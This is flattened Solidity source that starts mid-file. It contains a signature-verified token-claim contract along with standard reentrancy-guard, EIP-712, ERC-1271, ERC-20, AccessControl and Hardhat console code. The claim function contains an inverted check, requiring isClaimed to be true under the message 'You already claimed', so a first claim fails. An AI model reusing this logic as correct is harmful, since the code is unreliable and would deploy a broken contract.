name: name,
version: version,
chainId: chainId,
verifyingContract: address(this)
})
);
}
function hashOrder(Order memory order) public pure returns (bytes32 hash) {
/* Per EIP 712. */
return
keccak256(
abi.encode(
ORDER_TYPEHASH,
order.maker,
order.target,
order.token,
order.amount,
order.expirationTime,
order.salt
)
);
}
function hashToSign(bytes32 orderHash) public view returns (bytes32 hash) {
/* Calculate the string a user must sign. */
return
keccak256(
abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash)
);
}
function isClaimed(address _user) public view returns (bool) {
if (claimed[_user] > 0) {
return true;
}
}
function isFilled(address _owner, bytes32 _ownerOrderHash)
external
view
returns (bool)
{
if (fills[_owner][_ownerOrderHash] > 0) {
return true;
}
}
function validateOrderAuthorization(
bytes32 hash,
address maker,
bytes memory signature
) public view returns (bool) {
/* Calculate hash which must be signed. */
bytes32 calculatedHashToSign = hashToSign(hash);
(uint8 v, bytes32 r, bytes32 s) = abi.decode(
signature,
(uint8, bytes32, bytes32)
);
if (ecrecover(calculatedHashToSign, v, r, s) == maker) {
return true;
} else if (
ecrecover(
keccak256(
abi.encodePacked(
personalSignPrefix,
"32",
calculatedHashToSign
)
),
v,
r,
s
) == maker
) {
return true;
}
return false;
}
function validateOrderParameters(Order memory order, bytes32)
public
view
returns (bool)
{
/* Order must be listed and not be expired. */
if (
order.expirationTime != 0 && order.expirationTime <= block.timestamp
) {
return false;
}
return true;
}
function claim(
Order memory owner,
Order memory claimer,
bytes memory signatures
) public reentrancyGuard {
/* CHECKS */
/* Check first order validity. */
require(
msg.sender == owner.target,
"claim: You have no right for this"
);
/* Calculate first order hash. */
bytes32 firstHash = hashOrder(owner);
/* Check first order validity. */
require(
validateOrderParameters(owner, firstHash),
"claim: First order has invalid parameters"
);
/* Calculate second order hash. */
bytes32 secondHash = hashOrder(claimer);
/* Check second order validity. */
require(
validateOrderParameters(claimer, secondHash),
"claim: Second order has invalid parameters"
);
require(isClaimed(owner.target),"claim: You already claimed");
require(
fills[owner.maker][firstHash] == 0,
"claim: This order already filled"
);
/* Prevent self-matching (possibly unnecessary, but safer). */
require(
firstHash != secondHash,
"claim: Self-matching orders is prohibited"
);
{
/* Calculate signatures (must be awkwardly decoded here due to stack size constraints). */
(bytes memory firstSignature, bytes memory secondSignature) = abi
.decode(signatures, (bytes, bytes));
/* Check first order authorization. */
require(
validateOrderAuthorization(
firstHash,
owner.maker,
firstSignature
),
"claim: First order failed authorization"
);
/* Check second order authorization. */
require(
validateOrderAuthorization(
secondHash,
claimer.maker,
secondSignature
),
"claim: Second order failed authorization"
);
}
IERC20(owner.token).transferFrom(
owner.maker,
owner.target,
owner.amount
);
fills[owner.maker][firstHash] = owner.amount;
claimed[owner.target] = owner.amount;
emit Claimed(claimer.maker, owner.amount);
}
}
// SPDX-License-Identifier: MIT
/*
Simple contract extension to provide a contract-global reentrancy guard on functions.
*/
pragma solidity 0.8.7;
/**
* @title ReentrancyGuarded
* @author Wyvern Protocol Developers
*/
contract ReentrancyGuarded {
bool reentrancyLock = false;
/* Prevent a contract function from being reentrant-called. */
modifier reentrancyGuard() {
require(!reentrancyLock, "Reentrancy detected");
reentrancyLock = true;
_;
reentrancyLock = false;
}
}
// SPDX-License-Identifier: MIT
/*
<< EIP 712 >>
*/
pragma solidity 0.8.7;
/**
* @title EIP712
* @author Wyvern Protocol Developers
*/
contract EIP712 {
struct EIP712Domain {
string name;
string version;
uint256 chainId;
address verifyingContract;
}
bytes32 constant EIP712DOMAIN_TYPEHASH =
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
bytes32 DOMAIN_SEPARATOR;
function hash(EIP712Domain memory eip712Domain)
internal
pure
returns (bytes32)
{
return
keccak256(
abi.encode(
EIP712DOMAIN_TYPEHASH,
keccak256(bytes(eip712Domain.name)),
keccak256(bytes(eip712Domain.version)),
eip712Domain.chainId,
eip712Domain.verifyingContract
)
);
}
}
// SPDX-License-Identifier: MIT
/*
<< EIP 1271 >>
*/
pragma solidity 0.8.7;
abstract contract ERC1271 {
// bytes4(keccak256("isValidSignature(bytes,bytes)")
bytes4 internal constant MAGICVALUE = 0x20c13b0b;
/**
* @dev Should return whether the signature provided is valid for the provided data
* @param _data Arbitrary length data signed on the behalf of address(this)
* @param _signature Signature byte array associated with _data
*
* MUST return the bytes4 magic value 0x20c13b0b when function passes.
* MUST NOT modify state (using STATICCALL for solc < 0.5, view modifier for solc > 0.5)
* MUST allow external calls
*/
function isValidSignature(bytes memory _data, bytes memory _signature)
public
view
virtual
returns (bytes4 magicValue);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping (address => bool) members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if(!hasRole(role, account)) {
revert(string(abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)));
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
